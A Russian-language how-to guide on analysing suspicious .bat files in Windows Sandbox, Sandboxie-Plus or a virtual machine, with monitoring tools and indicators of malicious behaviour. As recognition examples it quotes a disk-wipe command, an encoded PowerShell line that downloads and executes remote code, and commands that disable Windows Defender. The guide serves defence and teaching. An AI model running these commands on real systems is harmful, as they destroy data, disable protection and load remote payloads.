Вы получили .bat-файл от коллеги, скачали его из интернета или нашли на старом сервере. Открывать его на рабочей машине страшно — мало ли что внутри. Проще всего запустить его в песочнице и посмотреть, что он делает. Разберёмся, как это сделать правильно: от быстрого запуска в Sandboxie до полноценной виртуалки с перехватом системных вызовов.
- Зачем вообще анализировать bat-файлы
- Три уровня изоляции — выбираем под задачу
- Быстрый старт: Windows Sandbox
- Sandboxie-Plus: песочница с контролем
- Глубокий анализ в виртуальной машине
- Что искать при анализе
- Ручной разбор без запуска
- Частые ошибки при анализе
- Какой подход выбрать
- Полезные команды для быстрой диагностики
- Итог
Зачем вообще анализировать bat-файлы
Batch-файлы — это не пережиток прошлого. Их до сих пор используют для автоматизации на предприятиях, в скриптовых развёртываниях и, к сожалению, в атаках. Одна строчка вроде del /f /s /q C:\*.* способна уничтожить систему, а цепочка вызовов powershell -enc — загрузить и выполнить что угодно без сохранения файла на диск.
При анализе вас обычно интересует три вещи:
- Какие файлы создаёт, изменяет или удаляет скрипт.
- К каким сетевым ресурсам обращается.
- Какие системные механизмы запускает (службы, планировщик, автозагрузка, реестр).
Три уровня изоляции — выбираем под задачу
Не всегда нужно разворачивать полноценную виртуальную машину. Иногда достаточно песочницы, а иногда без неё не обойтись. Вот три подхода, от простого к серьёзному:
| Подход | Что даёт | Когда использовать |
|---|---|---|
| Windows Sandbox | Одноразовая чистая среда Windows, всё стирается после закрытия | Быстрая проверка одного файла, если у вас Windows 10/11 Pro или Enterprise |
| Sandboxie-Plus | Песочница внутри текущей системы — файлы, реестр, сеть изолированы | Нужно быстро запустить скрипт и посмотреть, что он пишет на диск |
| Виртуальная машина (Hyper-V / VirtualBox / VMware) | Полная изоляция с возможностью снимков, перехвата трафика и отладки | Подозрительный файл, который может быть вредоносным; нужен глубокий анализ |
Быстрый старт: Windows Sandbox
Windows Sandbox — встроенная фича Windows Pro и Enterprise. Она создаёт чистую копию системы при каждом запуске, а после закрытия удаляет всё содержимое. Идеально для разового анализа.
- Убедитесь, что виртуализация включена в BIOS (Intel VT-x или AMD-V).
- Откройте «Включение или отключение компонентов Windows» и поставьте галочку «Песочница Windows».
- Перезагрузите компьютер.
- Нажмите Win, введите «Windows Sandbox» и запустите.
- Скопируйте .bat-файл в песочницу (обычным Ctrl+C / Ctrl+V — буфер обмена работает).
- Запустите файл через командную строку, а не двойным кликом — так вы увидите весь вывод.
После закрытия песочницы всё исчезает. Никаких следов на хосте. Но учтите: Sandbox не даёт вам инструментов мониторинга «из коробки» — придётся использовать встроенные средства вроде Process Monitor внутри песочницы.
Sandboxie-Plus: песочница с контролем
Sandboxie-Plus — бесплатный инструмент с открытым исходным кодом. Он перехватывает операции с файлами и реестром, позволяя вам видеть всё, что делает скрипт, без загрязнения основной системы.
Порядок работы:
- Установите Sandboxie-Plus с официального сайта sandboxie-plus.com.
- Создайте новую песочницу через меню «Песочница» → «Создать новую песочницу».
- Запустите командную строку внутри песочницы: правый клик на песочнице → «Запустить» → «Командная строка».
- Внутри песочницы перейдите к вашему .bat-файлу и выполните его.
- После выполнения откройте «Просмотр восстановимого содержимого» — там будут все файлы, которые скрипт попытался создать или изменить.
Плюс Sandboxie в том, что вы видите разницу «было/стало» — какие файлы и ключи реестра добавились. Это сразу показывает, пытается ли скрипт прописаться в автозагрузку или создать скрытый файл.
Глубокий анализ в виртуальной машине
Если файл подозрительный — например, вы не знаете его происхождение или видите обфусцированные команды — виртуалка обязательна. Вот как построить рабочий процесс:
- Создайте виртуальную машину с Windows (подойдёт любая версия, можно использовать ознакомительную от Microsoft).
- Установите чистую систему, обновите её, но не подключайте общие папки к хосту.
- Сделайте снимок (snapshot) чистого состояния — это ваша кнопка «откатиться».
- Установите инструменты анализа внутрь VM:
- Process Monitor (Sysinternals) — показывает все операции с файлами, реестром, процессами в реальном времени.
- Process Explorer — дерево процессов с подробностями, видно родительско-дочерние связи.
- Wireshark — если нужно перехватить сетевой трафик.
- API Monitor — для отслеживания вызовов WinAPI.
- Autoruns (Sysinternals) — покажет все места автозагрузки, куда мог прописаться скрипт.
- Перенесите .bat-файл в VM через изолированный виртуальный диск или ISO-образ (не через общие папки!).
- Перед запуском настройте Process Monitor на фильтр по имени вашего bat-файла и его дочерним процессам.
- Запустите скрипт и наблюдайте за его поведением в реальном времени.
- После анализа откатите VM на чистый снимок.
Что искать при анализе
Когда скрипт запущен и вы наблюдаете за ним, обращайте внимание на следующие маркеры подозрительного поведения:
- Обращение к системным папкам:
C:\Windows\System32,C:\Windows\SysWOW64,%APPDATA%,%LOCALAPPDATA%— особенно если туда что-то записывается. - Изменение реестра: ключи
Run,RunOnce,Services,Image File Execution Options— классические способы закрепления в системе. - Запуск PowerShell или cmd из bat: строки вроде
powershell -ExecutionPolicy Bypass -Hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AbQBhAGsAZQByAC4AYwBvAG0ALwBkAGwALgBlAHgAZQAnACkA— это base64-код, который декодирует и выполняет произвольную нагрузку. - Сетевые подключения: вызовы
bitsadmin,certutil,curl,wgetс внешними адресами — скрипт может скачивать дополнительные компоненты. - Отключение защитных механизмов: команды вроде
net stop WinDefend,reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1— явный признак вредоносного поведения. - Манипуляции с правами:
net user,net localgroup administrators,icacls— попытки создать пользователя или повысить привилегии.
Ручной разбор без запуска
Иногда достаточно прочитать файл, чтобы понять, что он делает. Откройте его в текстовом редакторе (Notepad++, VS Code — не в стандартном Блокноте, он не показывает нормально строки с кодировкой UTF-8).
Типичные конструкции, которые стоит знать:
@echo off— скрывает вывод команд, часто используется в начале скрипта.%~dp0— путь к папке, где лежит сам .bat-файл. Используется для обращения к файлам рядом со скриптом.call— вызов другого bat-файла с возвратом в текущий.start— запуск программы или файла в отдельном окне.for /f— часто используется для разбора вывода команд и построения цепочек действий.^в конце строки — продолжение команды на следующей строке.2^>nul— перенаправление ошибок в никуда, чтобы пользователь ничего не увидел.
Если видите длинные строки с символами вроде +, ^, (, ) в странных местах — это может быть обфускация. В таком случае запуск в изолированной среде обязателен, потому что разобрать глазами замаскированный код бывает очень трудно.
Частые ошибки при анализе
Запуск bat-файла на рабочей машине «просто посмотреть». Даже если кажется, что файл безобидный, одна невидимая команда может зашифровать данные или открыть бэкдор. Всегда используйте изоляцию.
Использование общих папок между хостом и VM. Если скрипт вредоносный, он может выйти за пределы виртуалки через общий ресурс. Используйте одностороннюю передачу файлов (виртуальный диск, ISO).
Отключение сетевого адаптера в VM и потеря возможности увидеть сетевую активность. Если вам нужно понять, куда обращается скрипт, сеть должна быть включена — но изолированная (NAT или внутренняя сеть VM).
Запуск скрипта двойным кликом вместо cmd. При двойном клике окно закрывается сразу после завершения, и вы не увидите вывод. Запускайте через командную строку:
cmd /k script.bat— окно останется открытым.
Игнорирование переменных окружения. Скрипт может использовать
%USERNAME%,%COMPUTERNAME%,%TEMP%и другие — их значения влияют на поведение. Проверьте переменные перед запуском черезsetв cmd.
Какой подход выбрать
Подведём итог в виде простого дерева решений:
- Файл от знакомого разработчика, вы доверяете источнику, хотите быстро понять логику → Windows Sandbox или Sandboxie, просмотр текста в редакторе.
- Файл найден на сервере, нужно понять, что он меняет в системе → Sandboxie-Plus с анализом изменений в файловой системе и реестре.
- Файл из неизвестного источника, содержит обфускацию или подозрительные команды → Виртуальная машина с полным набором инструментов мониторинга, сетевой анализ через Wireshark.
- Нужно понять сетевое поведение (куда и что отправляет) → VM с включённым NAT и Wireshark на хосте, либо настроенный прокси внутри VM.
Полезные команды для быстрой диагностики
Вот несколько команд, которые помогают быстро оценить окружение перед запуском скрипта:
whoami /all— покажет текущего пользователя и его группы (особенно важно проверить членство в Administrators).netstat -an— список открытых портов, видно, не открыл ли скрипт слушающий порт.schtasks /query /fo LIST— список заданий планировщика, проверка на подозрительные записи.wmic startup list full— все элементы автозагрузки через WMI.fsutil fsinfo drives— список подключённых дисков, видно, не примонтировал ли скрипт что-то лишнее.
Итог
Анализ .bat-файла в изолированной среде — это рутинная задача, которая не требует экспертных знаний, но требует дисциплины. Не запускайте bat-файлы на рабочей системе без проверки. Используйте Windows Sandbox для быстрого взгляда, Sandboxie-Plus для контроля изменений и виртуальную машину для глубокого анализа. Всегда читайте текст скрипта перед запуском — это экономит больше времени, чем любой инструмент мониторинга.
Если после анализа вы обнаружили подозрительное поведение — не удаляйте файл сразу. Сохраните его, зафиксируйте результаты анализа (скриншоты Process Monitor, логи Wireshark) и передайте тому, кто занимается безопасностью в вашей организации. Это может быть важным фрагментом картины инцидента.
